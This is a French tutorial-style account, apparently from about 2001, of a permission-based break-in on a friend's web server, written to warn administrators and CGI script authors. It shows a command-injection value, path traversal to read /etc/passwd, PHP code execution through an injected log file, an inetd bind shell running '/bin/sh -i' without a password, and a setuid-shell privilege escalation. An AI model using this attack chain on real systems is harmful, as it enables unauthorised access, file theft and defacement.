Site web de vulgarisation informatique à propos de Linux et des logiciels libres

Mais comment font-ils pour modifier aussi facilement les pages web sur Internet ? Les captures d'ecran de nombreux "defacements" de sites franeais sont disponibles sur le musee des sites pirates de zataz.com. Ces attaques, pas tres discretes, permettent parfois aux hackers de diffuser leurs idees, mais helas le plus souvent leur seul but est de mettre leurs pseudos pour une gloire ephemere. Pour ce faire deux types d'attaques sont utilises. Le but est de gagner des droits en ecriture sur le fichier index.html du serveur, pour le modifier.

Telecharger les sources :

Premiere methode, l'exploitation d'un ou plusieurs bugs d'un serveur tournant sur la machine visee, via des "exploits", permet de lancer des commandes sur la machine avec l'identite de root, le super-utilisateur, et donc de modifier tout le site. Mais si le site est correctement patche les chances d'obtenir un root e distance de cette maniere sont faibles.

Deuxieme methode, la seule capable de passer outre un firewall : le pirate travaille uniquement sur l'acces http sur le port 80 (forcement autorise par le firewall), et utilise les erreurs de configuration du serveur web, les failles des scripts cgi, des Server Side Include et de php.

Remarquez qu'en ce moment les nombreuses failles du serveur web de Microsoft font la joie des scripts-kiddies e la recherche d'un hack facile !

Scan et recuperation du script cgi

Voici la description garantie 100% authentique du defacage d'un site web, que j'ai mene en quelques heures pour un pote qui voulait tester sa soi-disant securite. Cet article sera utile aux administrateurs soucieux de leur securite et aux programmeurs de scripts perl, et montre que la securite globale d'un site peut etre detruite si un seul utilisateur met en place un script cgi vulnerable. Surveillez vos arrieres, sinon un jour votre belle page se trouvera toute barbouillee !

Premiere etape, un scan de www.monsite.fr avec nmap me montre qu'un firewall filtre les acces depuis Internet, n'autorisant que le ssh et le web. J'apprends en faisant un petit "telnet www.monsite.fr 80" et en tapant "HEAD / HTTP/1.0" que c'est un serveur apache qui tourne sur une distribution red-hat de linux, avec le module PHP4. Pas de failles de securite connues.
C'est donc parti pour la deuxieme methode, je vais sur la page web des inscriptions du site, oe on me demande de remplir une "form", constituee de champs nom, prenom, adresse, etc... L'affichage du source de cette page me donne des renseignements tres interessants.

Tout d'abord, quand on clique sur le bouton "OK" les donnees sont envoyees par la methode POST e un script appele inscriptions .cgi. Les scripts cgi sont des programmes executables destines à etre appeles par le serveur web, par exemple dans ce cas pour envoyer un mail prevenant de l'inscription. Ils sont souvent stockes dans le repertoire /cgi-bin du serveur. Ils peuvent etre ecrits en n'importe quel langage, mais le plus repandu est le perl. Il y a de meme les scripts asp sous Windows. Leur probleme est qu'ils sont executes sur la machine distante, avec les droits d'un utilisateur normal, appele par exemple "nobody". Si le script perl ne verifie pas que les parametres que je lui fournis sont corrects, il y a moyen d'en profiter pour executer n'importe quelle commande !

J'ai donc recopie la partie du code html appelant le script cgi sur mon disque dur (pour pouvoir le modifier), en remplaeant l'appel au script par l'url complete oe le trouver :

Nom

(...)

Ho ho, interessant ea, des champs caches donnent l'adresse d'ou on envoie le mail, le nom d'un fichier de log, et le nom d'un fichier de confirmation, contenant certainement le texte que l'on recoit par mail : "merci, votre demande va etre traiteee"

Exploitation du script:

Mais d'abord, j'ai essaye les failles classiques. Le script etant probablement en perl, il appelle certainement la commande open()pour lire et ecrire les fichiers log et confirm, et pour envoyer le mail.

Par exemple,si la commande est open(MAIL,"I sendmail $mailto"), en mettant dans la variable mailto la valeur "toto@rien.fr ;ls" la commande deviendra "sendmail toto@rien.fr ; ls"ce qui enverra le mail mais executera aussi la commande "ls" aussitot apres.

Je me suis donc rabattu sur le champ "confirm" : il ne comportait pas d'indication de path, on peut donc penser que le path etait rajoute par le script lui-meme, par exemple /www/site/cgi-bin/ confirmation.txt. Mais si je donne comme nom de fichier ../../../etc/passwd...

Oui, victoire, le texte contenu dans le mail de confirmation que je reeois est bien le contenu du fichier de mot de passe ! En effet /www/site/cgi-bin/../../../etc/passwd correspond au fichier /etc/passwd, car le ".." fait revenir en arriere dans l'arborescence des repertoires.

Ca ne m'aide pas beaucoup, car les shadow passwords sont actives, mais ca me permet de lire tous les fichiers et en particulier le code source de inscriptions.cgi. C'est bien un script perl, mais les failles classiques vues au-dessus ne pouvaient pas fonctionner car les fichiers sont toujours ouverts avec une indication de lecture ou d'ecriture par un signe inferieur ou superieur: open(FICHIER, ">$nom"). Et la commande pour envoyer le mail est open(MAIL, "send-mail -t"). Grave erreur cependant, le programmeur faisait confiance aux donnees venant des champs caches de la page web... Il n'y avait donc aucune verification, que ce soit sur le nom du fichier de confirmation ou sur le nom du fichier de log.

Tiens tiens, d'ailleurs ce fichier inscrip.log, que contient-il e Je regarde et je vois, comme prevu, tous les champs nom, pre-nom, etc.... que je fournis. En remplaeant inscrip.log par ../index.html, je peux donc ecrire sur ce fichier, l'affaire est dans le sac !e Non, pas si vite, le script tourne avec les droits de l'utilisateur www (comme je l'ai su par la suite), il ne peut donc pas ecrire dans un fichier possede par un autre utilisateur, ce qui etait le cas. En plus, le fichier de log cree a un formatage special rajoute par le script, pas tres adapte e une page html... Par contre, le repertoire cgi-bin doit appartenir e l'utilisateur www, puisque c'est le-dedans que le fichier de log est cree. Tiens, d'ailleurs, cela veut dire que je peux y acceder depuis mon navigateur prefere ! Et oui, l'adresse http://www.monsite.fr/cgi-bin/inscrip.log m'affiche le log de toutes les personnes qui se sont inscrites... Quelle erreur de placer un tel fichier e cet endroit !

Bon, c'est maintenant qu'il faut se souvenir du debut. PHP est active sur ce serveur... Un coup d'eil au fichier de configuration d'apache m'informe que tous les fichiers ayant une extension .html seront d'abord parse par le module php avant d'etre envoyes. C'est-e-dire que si la page html demandee contient une commande php du type "phpinfo()", elle sera executee sur la machine locale par le module php.

La solution est alors simple : j'ai remplace "inscrip.log" par "test.html", et dans le champ adresse j'ai ecrit la commande: . Ensuite, je vais avec mon browser a l'adresse http://www.monsite.fr/cgi-bin/test.html. Et la, surprise, ca fonctionne nickel, voila ce que j'obtiens : |||inetd: /usr/sbin/inetd /etc/inetd.conf/usr/share/man/man8/inetd.8.gz ||Wed Jun 13 00:57:26 2001|

Je peux donc executer des commandes !! Mais comment simplifier tout ca e En ouvrant un shell grece e inetd sur un port eleve :

Ouverture d'un shell et connection:

system("echo 9999 stream tcp nowait www /bin/sh -i > /tmp/conf ");
system("/usr/sbin/inetd /tmp/conf ");

Et oui, c'est aussi simple que cela ! Je peux maintenant me connecter en telnet sur le site, avec l'identite de www, sans avoir e fournir de mot de passe. (Quand une connexion est realisee sur le port 9999, le demon inetd va lancer le programme specifie pour gerer la connexion, ici le shell interactif "/bin/sh -i").

telnet www.monsite.fr 9999 ls /; bin boot dev etc (...)

id; uid=25(www) gid=25(www) groups=25(www)

cd /root; ls -la total 147 drwxr-xr-x 6 nobody root 1024 Jun 12 22:35 . drwxr-xr-x 20 root root 1024 Jun 11 15:27 .. -rw------- 1 root root 7862 Jun 12 22:37 .bash_history -rw-r--r-- 1 root root 292 May 18 1999 .profile drwxr-xr-x 2 root root 1024 May 18 1999 .ssh (...)

lastlog |grep root; root **Never logged in**
Quoi, root ne s'est jamais logge alors que son .bash_history date du jour meme e

last |head; macaroni ftpd9546 Wed Jun 13 00:04 -00: 11 (00:06) nico pts/1 Tue Jun 12 22:33 - 22:37 (00:03) (...)

Voila, on a trouve l'admin, c'est mon pote nico qui a fait un "su root" une fois connecte.
cd ~nico;
ls -la; (...) -rwxrwxrwx 1 nico nico 1272 Jan 18 2000 addcool (...) cat addcool | head -n 1; #!/bin/sh

Quel blaireau, vraiment ! addcool est un script shell sur lequel tout le monde peut ecrire ! Et bien sur, comme il sert e ajouter des users, il le lance en etant root... Pas besoin de se casser la tete, il ne me restait plus qu'e modifier le script pour creer un shell setuid dans un repertoire ( "cp /bin/sh/usr/bin/sh; chmod u+s /usr/bin/sh". Quand on lance programme setuid, on obtient l'identite de l'utilisateur qui possede le prog, ici root. ) Quelques jours apres, je me connecte et je lance /usr/bin/sh... oui, ca y est, je suis root ! Donc je peux modifier sa page web... mais je ne le fais pas et je lui passe un petit coup de fil.

Voile, vous savez maintenant ce qu'il vous reste e faire pour proteger votre site ! Les scripts cgi doivent etre utilises avec beaucoup de precautions, surtout ceux que l'on trouve sur Internet et qui ne sont pas forcement bien coneus. Petit message aux pirates qui defacent des sites comme cela : envoyez plutet un mail e l'administrateur pour le prevenir du probleme, ce sera plus constructif qu'un defacement facile et inutile qui va vivre quelques heures grand maximum, et va faire perdre un temps fou e un pov' stagiaire qu'avait rien demande pour verifier l'integrite du systeme... (c'est du vecu ! ;-) De toute faeon, il faut tester ce genre de choses sur les sites de potes qui sont au courant : allez expliquer au juge que vous auriez prevenu l'administrateur si vous aviez abouti dans votre tentative de hack...